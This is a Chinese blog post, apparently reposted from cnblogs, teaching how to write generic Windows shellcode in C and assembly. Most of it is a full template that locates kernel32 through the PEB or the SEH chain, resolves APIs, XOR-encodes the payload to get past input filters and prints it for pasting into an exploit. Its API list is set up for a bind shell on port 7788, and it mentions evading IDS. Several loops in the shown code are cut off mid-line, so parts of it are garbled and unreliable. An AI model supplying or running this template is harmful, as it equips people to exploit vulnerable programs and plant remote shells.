• 关于Windows下ShellCode编写的一点思考


    关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文 章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己 的一点想法记录下来,以慰同菜。 我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写 ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等 方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求 ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址 难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送 给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要 求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。 编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。 就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要 完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编 编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制 代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将 ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需 在攻击程序中加入一段编码代码就可以了。这样也便于交流。 但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉 及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加 代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的 操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数 memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段 函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。 用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时 编码、打印,这样工作就完成了。 在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改 并加入一些自己的代码,测试通过。 其中的一些问题有: 1.KERNEL基地址的定位和API函数地址的获取 原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多, 二是要处理搜索无效页面引发的异常。现在还有两种方法可用: 一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程 空间中用户模块列表》一文。代码如下: mov eax, fs:0x30 mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了 这种方法比较通用,适用于2K/XP/2003。 另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址, 再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。 在下面的代码中我就采用了这种方法。 2.几段代码的作用 在ShellCode提取代码中你或许会经常见到 temp = *shellcodefnadd; if(temp == 0xe9) { ++shellcodefnadd; k=*(int *)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4; } 这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针 操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP: jmp function 上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。 还有在代码中会看到: jmp    decode_end decode_start: pop    edx ....... decode_end: call    decode_start Shell_start: 之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位 代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算 和写入的方法。不过复杂了一点罢了。 3.关于局部变量的地址顺序 在原程序中采用了如下局部变量结构: FARPROC     WriteFileadd; FARPROC     ReadFileadd; FARPROC     PeekNamedPipeadd; FARPROC     CloseHandleadd; FARPROC     CreateProcessadd; FARPROC     CreatePipeadd; FARPROC        procloadlib; FARPROC     apifnadd[1]; 以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的 机器上则不然,比如下面的测试程序: #include #include #include #include void shell(); void __cdecl main(int argc,char *argv[]) { FARPROC arg1; FARPROC arg2; FARPROC arg3; FARPROC arg4; FARPROC arg5; int par1; int par2; int par3; int par4; char ch; printf("Size of FARPROC %d\n",sizeof(FARPROC)); printf("\n%X\n%X\n%X\n%X\n%X\n\n  \t%X\n%X\n%X\n%X\n \t%X\n", &arg1, &arg2, &arg3, &arg4, &arg5, &par1, &par2, &par3, &par4, &ch ); } 在我机器上产生的输出是: 12FF7C 12FF78 12FF74 12FF70 12FF68 12FF6C 12FF64 12FF60 12FF5C 12FF58 这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的 直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项 工作变得容易,详见下面的代码。 4.more 关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。 5.代码 可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也 不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。 增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并 同步更新Enum的索引即可。调用API时直接使用: API[_APINAME](param,....param); 即可。 如果没注释掉有#define  DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试, 下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。 ------------------------------------------- /* 使用C语言编写通用shellcode的程序 出处:internet 修改:Hume/冷雨飘心 测试:Win2K SP4 Local */ #include #include #include #define  DEBUG 1 // //函数原型 // void     DecryptSc(); void     ShellCodes(); void     PrintSc(char *lpBuff, int buffsize); // //用到的部分定义 // #define  BEGINSTRLEN    0x08    //开始字符串长度 #define  ENDSTRLEN      0x08    //结束标记字符的长度 #define  nop_CODE       0x90    //填充字符 #define  nop_LEN        0x0     //ShellCode起始的填充长度 #define  BUFFSIZE       0x20000 //输出缓冲区大小 #define  sc_PORT        7788    //绑定端口号 0x1e6c #define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小 #define  Enc_key        0x7A    //编码密钥 #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够? #define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够? #define  MAX_api_strlen 0x400   //APIstr字符串的长度 #define  API_endstr     "strend"//API结尾标记字符串 #define  API_endstrlen  0x06    //标记字符串长度 #define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\ __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 #define PROC_END PROC_BEGIN //--------------------------------------------------- enum{       //Kernel32 _CreatePipe, _CreateProcessA, _CloseHandle, _PeekNamedPipe, _ReadFile, _WriteFile, _ExitProcess, //WS2_32 _socket, _bind, _listen, _accept, _send, _recv, _ioctlsocket, _closesocket, //本机测试User32 _MessageBeep, _MessageBoxA, API_num }; // //代码这里开始 // int __cdecl main(int argc, char **argv) { //shellcode中要用到的字符串 static char ApiStr[]="\x1e\x6c"   //端口地址 //Kernel32的API函数名称 "CreatePipe""\x0" "CreateProcessA""\x0" "CloseHandle""\x0" "PeekNamedPipe""\x0" "ReadFile""\x0" "WriteFile""\x0" "ExitProcess""\x0" //其它API中用到的API "wsock32.dll""\x0" "socket""\x0" "bind""\x0" "listen""\x0" "accept""\x0" "send""\x0" "recv""\x0" "ioctlsocket""\x0" "closesocket""\x0" //本机测试 "user32.dll""\x0" "MessageBeep""\x0" "MessageBoxA""\x0" "\x0\x0\x0\x0\x0" "strend"; char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串 char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串 char  buff[BUFFSIZE];         //缓冲区 char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲 char  *pDcrypt_addr, *pSc_addr; int   buff_len;               //缓冲长度 int   EncCode_len;            //加密编码代码长度 int   Sc_len;                 //原始ShellCode的长度 int       i,k; unsigned  char ch; // //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串 //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这 //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理 // pDcrypt_addr=(char *)DecryptSc; //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表, //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试 ch=*pDcrypt_addr; if (ch==0xe9) { pDcrypt_addr++; i=*(int *)pDcrypt_addr; pDcrypt_addr+=(i+4);      //此时指向函数的实际地址 } //找到解码代码的开始部分 for(k=0;k if (k  else { //显示错误信息 k=0; printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n"); return 0; } for(k=0;k if (k  else { k=0; printf("\nNo End str defined in Decrypt function!Please Check....\n"); return 0; } memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充 memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff // //处理ShellCode代码,如果需要定位到代码的开始 // pSc_addr=(char *)ShellCodes;     //shellcode的地址 //调试状态下的函数地址处理,便于调试 ch=*pSc_addr; if (ch==0xe9) { pSc_addr++; i=*(int *)pSc_addr; pSc_addr+=(i+4);      //此时指向函数的实际地址 } //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的 /* for (k=0;k  if (k  */ //找到shellcode的结尾及长度 for(k=0;k  if (k  else { k=0; printf("\nNo End str defined in ShellCodes function!Please Check....\n"); return 0; } //把shellcode代码复制进sc_buff memcpy(sc_buff,pSc_addr,Sc_len); //把字符串拷贝在shellcode的结尾 for(i=0;i  if(i>=MAX_api_strlen) { printf("\nNo End str defined in API strings!Please Check....\n"); return 0; } memcpy(sc_buff+k,ApiStr,i); Sc_len+=i;        //增加shellcode的长度 // //对shellcode进行编码算法简单,可根据需要改变 // k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始 for(i=0;i ch=sc_buff[i]^Enc_key; //对一些可能造成shellcode失效的字符进行替换 if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+') { buff[k]='0'; ++k; ch+=0x31; } //把编码过的shellcode放在DecryptSc代码后面 buff[k]=ch; ++k; } //shellcode的总长度 buff_len=k; //打印出shellcode PrintSc(buff,buff_len); //buff[buff_len]=0; //printf("%s",buff); #ifdef DEBUG _asm{ lea eax,buff jmp eax ret } #endif return  0; } //解码shellcode的代码 void  DecryptSc() { __asm{ ///////////////////////// //定义开始标志 ///////////////////////// PROC_BEGIN    //C macro to begin proc jmp   next getEncCodeAddr: pop   edi push  edi pop   esi xor   ecx,ecx Decrypt_lop: lodsb cmp  al,cl jz   shell cmp  al,0x30  //判断是否为特殊字符 jz   special_char_clean store: xor  al,Enc_key stosb jmp  Decrypt_lop special_char_clean: lodsb sub al,0x31 jmp store next: call  getEncCodeAddr //其余真正加密的shellcode代码会连接在此处 shell: ///////////////////////// //定义结束标志 ///////////////////////// PROC_END      //C macro to end proc } } // //shellcode代码 // void ShellCodes() { //API低址数组 FARPROC     API[API_num]; //自己获取的API地址 FARPROC     GetProcAddr; FARPROC    LoadLib; HANDLE      hKrnl32; HANDLE      libhandle; char        *ApiStr_addr,*p; int         k; u_short     shellcodeport; //测试用变量 char        *testAddr; /* STARTUPINFO siinfo; SOCKET      listenFD,clientFD; struct      sockaddr_in server; int         iAddrSize = sizeof(server); int         lBytesRead; PROCESS_INFORMATION ProcessInformation; HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; SECURITY_ATTRIBUTES sa; */ _asm { jmp    locate_addr0 getApiStr_addr: pop    ApiStr_addr //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址 //以后就可以方便地获取任何API的地址了 //保护寄存器 pushad xor     esi,esi lods    dword ptr fs:[esi] Search_Krnl32_lop: inc     eax je      Krnl32_Base_Ok dec     eax xchg    esi,eax LODSD jmp     Search_Krnl32_lop Krnl32_Base_Ok: LODSD ;compare if PE_hdr xchg    esi,eax find_pe_header: dec     esi xor     si,si           ;kernel32 is 64kb align mov     eax,[esi] add     ax,-'ZM'        ; jne     find_pe_header mov     edi,[esi+3ch]   ;.e_lfanew mov     eax,[esi+edi] add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc. jne     find_pe_header push     esi ;esi=VA Kernel32.BASE ;edi=RVA K32.pehdr mov     ebx,esi mov     edi,[ebx+edi+78h]  ;peh.DataDirectory push    edi push    esi mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals call    __getProcAddr _emit 0x47 _emit 0x65 _emit 0x74 _emit 0x50 _emit 0x72 _emit 0x6F _emit 0x63 _emit 0x41 _emit 0x64 _emit 0x64 _emit 0x72 _emit 0x65 _emit 0x73 _emit 0x73 _emit 0x0 //db     "GetProcAddress",0 __getProcAddr: pop     edi mov     ecx,15 sub     eax,4 next_: add     eax,4 add     edi,ecx sub     edi,15 mov     esi,[ebx+eax] add     esi,ebx mov     ecx,15 repz    cmpsb jnz     next_ pop     esi pop     edi sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames shr     eax,1 add     edx,ebx movzx   eax,word ptr [edx+eax] add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr ;use GetProcAddress and hModule to get other func pop     esi                     ;esi=kernel32 Base mov     [hKrnl32],esi           //保存 mov     [GetProcAddr],ebx       //保存 call    _getLoadLib _emit 0x4C _emit 0x6F _emit 0x61 _emit 0x64 _emit 0x4C _emit 0x69 _emit 0x62 _emit 0x72 _emit 0x61 _emit 0x72 _emit 0x79 _emit 0x41 _emit 0x0 //db      "LoadLibraryA",0 _getLoadLib: push    esi call    ebx mov     [LoadLib],eax //恢复寄存器,避免更多问题 popad } //取出定义的端口地址 shellcodeport=*(u_short *)ApiStr_addr; ApiStr_addr+=2; ////////////////////////////////测试用 testAddr=ApiStr_addr; //////////////////////////////////// //利用GetProcAddress来获得shellcode中所用到的API地址 libhandle=hKrnl32; p=ApiStr_addr; k=0; ///* while ( *((unsigned int *)p) != 0) { ApiStr_addr=p; while(*p) p++;   //前进到下一个字符串 if (*( (unsigned int *)(p-4))=='lld.') { libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL } else { API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr); k++; } ApiStr_addr=++p; //更新指针前进一个字符位置 } //*/ /////////////////////////////////////////////////////////////////////////// //         下面就可以使用C语言来编写真正实现功能的shellcode了                // /////////////////////////////////////////////////////////////////////////// // //简单测试几个API看是否复合要求 // API[_MessageBeep](0x10); API[_MessageBoxA](0,testAddr,0,0x40); API[_ExitProcess](0); /////////////////////////////////////////////////////////////////////////// //                           shellcode功能部分结束                       // /////////////////////////////////////////////////////////////////////////// //死循环 die: goto die; __asm { locate_addr0: call getApiStr_addr      //5 bytes //真正的字符串数据要连接在此处 ///////////////////////// //定义结束标志 ///////////////////////// PROC_END      //C macro to end proc } } // //显示打印生成的shellcode的C string格式代码 // void PrintSc(char *lpBuff, int buffsize) { int i,j; char *p; char msg[4]; for(i=0;i    { if((i%16)==0) if(i!=0) printf("\"\n\""); else printf("\""); sprintf(msg,"\\x%.2X",lpBuff[i]&0xff); for( p = msg, j=0; j < 4; p++, j++ ) { if(isupper(*p)) printf("%c", _tolower(*p)); else printf("%c", p[0]); } } printf("\";\n/*Shell total are %d bytes */\n",buffsize); }
  • 相关阅读:
    Docker容器启动时初始化Mysql数据库
    使用Buildpacks高效构建Docker镜像
    Mybatis 强大的结果集映射器resultMap
    Java 集合排序策略接口 Comparator
    Spring MVC 函数式编程进阶
    换一种方式编写 Spring MVC 接口
    【asp.net core 系列】6 实战之 一个项目的完整结构
    【asp.net core 系列】5 布局页和静态资源
    【asp.net core 系列】4. 更高更强的路由
    【Java Spring Cloud 实战之路】- 使用Nacos和网关中心的创建
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327075.html
Copyright © 2020-2023  润新知